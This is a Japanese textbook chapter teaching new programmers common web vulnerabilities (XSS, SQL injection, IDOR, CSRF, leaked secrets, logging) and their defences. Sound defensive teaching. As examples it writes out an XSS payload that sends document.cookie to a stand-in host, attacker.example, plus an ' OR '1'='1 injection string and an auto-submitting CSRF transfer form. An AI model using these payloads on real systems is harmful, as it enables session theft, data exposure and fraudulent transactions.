プログラマのための IT 教科書
第6部 安全と品質

セキュリティ

読了目安 45

この章を読むとできるようになること
  • XSS が起きるコードを見分けられる
  • パラメータ化クエリを書ける
  • 秘密情報をコミットしてしまった時の対処を知っている

セキュリティは「詳しい人が後でチェックしてくれるもの」ではありません。 書いた瞬間に混入するものです。

この章で扱うのは、専門家向けの高度な攻撃手法ではなく、 新人が実際に作り込んでしまう脆弱性です。どれも1行の書き方の違いで生まれます。

この章の内容の使い方

攻撃手法を説明しますが、自分が権限を持つ環境でのみ試してください。 他人のサービスに試すのは犯罪です。

理解する目的は、攻撃するためではなく、自分のコードに同じ穴がないか気づけるようになるためです。

原則: 入力を信じない

セキュリティの話は突き詰めると1行です。

外から来たデータは、すべて攻撃だと思って扱う。

「外から」には次が含まれます。

  • ユーザーが入力したフォームの値
  • URL のパラメータ
  • リクエストヘッダ、Cookie
  • 他のサービスから返ってきたデータ
  • データベースに入っている値(誰かが入れたもの)

最後の2つを見落としがちです。「DB から取ったから安全」ではありません。 入れた時点で汚染されているかもしれません。

XSS — 他人のブラウザで JavaScript を動かされる

どう起きるか

ユーザーが入力した文字列を、そのまま HTML として画面に出すと起きます。

// 危険
element.innerHTML = `<p>${userInput}</p>`;

ここで userInput がこういう値だったらどうなるでしょうか。

<img src=x onerror="fetch('https://attacker.example/?c='+document.cookie)">

画像の読み込みに失敗し、onerror が実行され、 そのページを見た人の Cookie が攻撃者に送られます。 掲示板や商品レビューに仕込めば、見た人全員が被害に遭います。

どう防ぐか

テキストとして出すなら、テキストとして出す API を使うだけです。

// 安全: HTML として解釈されない
element.textContent = userInput;

React や Vue のようなフレームワークは、標準でエスケープしてくれます。

<p>{userInput}</p>                                  {/* 安全 */}
<p dangerouslySetInnerHTML={{ __html: userInput }} /> {/* 危険 */}
dangerouslySetInnerHTML という名前は警告

React がわざわざ長くて言いにくい名前にしているのは、 気軽に使わせないためです。

どうしても HTML を出す必要がある場合(リッチテキスト編集など)は、 DOMPurify のようなサニタイズライブラリを通してください。自作は避けます。

URL も攻撃経路になる

<a href={userInput}> も危険です。javascript:alert(1) のような値を入れられます。

リンク先にユーザー入力を使う時は、https://http:// で始まることを検証してください。

SQL インジェクション — データベースを乗っ取られる

どう起きるか

SQL を文字列結合で組み立てると起きます。

// 危険
const sql = `SELECT * FROM users WHERE email = '${email}'`;

email にこう入力されたら:

' OR '1'='1

組み上がる SQL はこうなります。

SELECT * FROM users WHERE email = '' OR '1'='1'

全ユーザーが返ります。 さらに悪意ある入力なら、テーブルの削除もできます。

どう防ぐか

パラメータ化クエリ(プレースホルダ)を使います。 これだけです。

// 安全
const sql = 'SELECT * FROM users WHERE email = ?';
db.query(sql, [email]);

パラメータ化すると、値は「データ」として扱われ、SQL の一部として解釈されません。 何を入れられても構文にはなりません。

ORM を使っていても油断しない

多くの ORM は安全ですが、生 SQL を書ける機能があります。

// ORM でも、ここで結合すれば同じ穴が開く
db.raw(`SELECT * FROM items WHERE name LIKE '%${keyword}%'`)

文字列結合で SQL を作っている箇所を見たら、必ず疑ってください。 レビューで指摘すべき最重要ポイントの1つです。

検索機能で SQL インジェクションを防ぐ、正しい方法は?

認証と認可 — 混同すると他人のデータが見える

意味失敗すると
認証(Authentication)あなたが誰かを確かめるログインできない / 他人になりすまされる
認可(Authorization)あなたが何をしてよいかを決める他人のデータが見える・消せる

新人が作り込みやすいのは認可の漏れです。

典型的な事故

// ログインは必須にした(認証OK)
app.get('/api/orders/:id', requireLogin, async (req, res) => {
  const order = await db.getOrder(req.params.id);
  res.json(order);        // ← ここが問題
});

このコードはログインさえしていれば、誰の注文でも見られます/api/orders/1 /api/orders/2 と順に叩けば、全ユーザーの注文が読めます。

これは IDOR(安全でない直接オブジェクト参照)と呼ばれ、 実際の情報漏洩事故で最も多い原因の1つです。

正しくは

app.get('/api/orders/:id', requireLogin, async (req, res) => {
  const order = await db.getOrder(req.params.id);
  // 「これは本当にこの人のものか」を必ず確認する
  if (order.userId !== req.user.id) {
    return res.status(404).end();
  }
  res.json(order);
});
ID が連番だと総当たりできる

/orders/1 /orders/2 と順に叩けば全件取れてしまいます。

認可チェックが第一の防御ですが、ID を推測しにくい値(UUID など)にするのも 有効な多層防御です。第14章の Spanner の主キー設計とも繋がります。

403 ではなく 404 を返すこともある

「権限がない」と返すと、そのリソースが存在することは伝わってしまいます

秘匿性が高い場面では、あえて 404(無い)を返して存在自体を隠します。 どちらにするかはチームの方針に従ってください。

ログイン必須の API で、URL の ID を書き換えると他人のデータが見えました。これは何の問題ですか。

CSRF — 意図しない操作をさせられる

ログイン中のユーザーに、別のサイトからリクエストを送らせる攻撃です。

<!-- 攻撃者のサイトに仕込まれたフォーム -->
<form action="https://bank.example/transfer" method="POST">
  <input type="hidden" name="to" value="attacker">
  <input type="hidden" name="amount" value="100000">
</form>
<script>document.forms[0].submit()</script>

Cookie は自動で送られるので、被害者がログイン中なら送金が成立してしまいます。

防ぎ方

方法内容
CSRF トークンフォームに毎回異なる値を埋め、サーバーで照合する
SameSite CookieSameSite=Lax にすると別サイトからの POST で Cookie が送られない
状態変更に GET を使わないGET で更新できると、<img> タグだけで攻撃できる

最近のブラウザは SameSite=Lax がデフォルトなので、以前より起きにくくなっています。 それでも明示的に設定するのが確実です。

秘密情報の扱い

コードに書かない

// 絶対にやってはいけない
const API_KEY = 'sk_live_51H8xY2...';

環境変数から読みます。

const apiKey = process.env.STRIPE_API_KEY;

.env ファイルは .gitignore に入れる.env.example にはキー名だけ書く、が定石です。

コミットしてしまったら

ファイルを消すコミットでは解決しない

Git は履歴を保持します。削除するコミットを追加しても、履歴から誰でも取り出せます。 公開リポジトリなら、数分で自動収集ボットに拾われます。

やることは順番が大事です。

  1. その鍵を無効化・再発行する(最優先) — これが唯一の本当の対処
  2. チームに報告する
  3. 履歴からの除去は影響が大きいので、必ず先輩と相談する

隠さないこと。 報告が遅れるほど被害が広がります。 「怒られる」より「漏れ続ける」方が何百倍も深刻です。

ログに出さない

// 危険: ログに個人情報や認証情報が残る
logger.info('login request', { email, password, creditCard });

ログは長期間保存され、多くの人が見られる場所に集約されます。 パスワード・トークン・カード番号・個人情報はログに出さないのが原則です。

リクエスト全体をログに出す

logger.info('request', req.body) のような書き方は、 中身に何が入っていても全部出してしまいます

デバッグ中は便利ですが、そのまま本番に出すと事故になります。 出すフィールドを明示的に選ぶか、マスク処理を通してください。

依存ライブラリ

現代のアプリは、コードの大部分が他人の書いたライブラリです。

npm audit          # 脆弱性のあるパッケージを検出
npm audit fix      # 可能なものを自動更新

多くのチームでは Dependabot などが自動で更新 PR を出します。 そういう PR が来たら放置せず、テストを通して取り込んでください。

新しいライブラリを入れる前に
  • 最終更新はいつか(何年も止まっていないか)
  • 週間ダウンロード数はどれくらいか
  • 同じことが標準機能でできないか

「便利そうだから」で依存を増やすと、それが将来の脆弱性と保守コストになります。 新人のうちは、入れる前に先輩に一言相談するのが安全です。

HTTPS と証明書

第8章で扱った内容ですが、セキュリティの観点で再掲します。

  • すべての通信を HTTPS にする。ログインページだけ、では不十分
  • Cookie には Secure(HTTPS のみ)と HttpOnly(JS から読めない)を付ける
  • 証明書の有効期限を監視する

新人が今日からできるチェックリスト

コードを書いたら、この5つを自分で確認してください。

  • ユーザー入力を innerHTML に入れていないか
  • SQL を文字列結合で作っていないか
  • 取得したデータが「その人のもの」か確認しているか
  • 秘密情報をコードやログに書いていないか
  • エラーメッセージに内部情報(SQL、パス、スタックトレース)を出していないか

最後の項目は見落としがちです。 Error: connection to db-primary.internal:5432 failed のようなメッセージを ユーザーに返すと、内部構成のヒントを与えてしまいます。 ユーザーには一般的なメッセージ、詳細はサーバーログへが原則です。

実務の落とし穴まとめ

  1. innerHTML にユーザー入力 — XSS の主犯
  2. SQL の文字列結合 — ORM でも生 SQL なら同じ
  3. 認可チェックの漏れ(IDOR) — 情報漏洩事故の最多原因
  4. 秘密情報のコミット — 消しても履歴に残る。まず鍵を無効化
  5. リクエスト全体をログ出力 — 個人情報が長期保存される
  6. エラーの詳細をユーザーに返す — 内部構成が漏れる

まとめ

  • 外から来たデータはすべて疑う。DB の中身も「誰かが入れたもの」
  • XSS は textContent で防ぐ。innerHTML / dangerouslySetInnerHTML は避ける
  • SQL インジェクションはパラメータ化クエリで防ぐ。自作エスケープはしない
  • 認証と認可は別。「その人のデータか」を必ず確認する(IDOR)
  • 秘密情報はコードにもログにも書かない。コミットしたらまず鍵を無効化して報告
  • 依存ライブラリの更新 PR を放置しない

章末問題

API キーを誤ってコミットして push してしまいました。最初にやるべきことは?

商品レビュー機能で、ユーザーが書いた本文を画面に表示します。安全な実装は?

デバッグのため logger.info('request', req.body) と書きました。本番に出す前に考えるべきことは?

次の章では、セキュリティも含めて「他人が読めるコード」をどう書くかを扱います。

読み終わったら記録しておくと、目次で進み具合が分かります。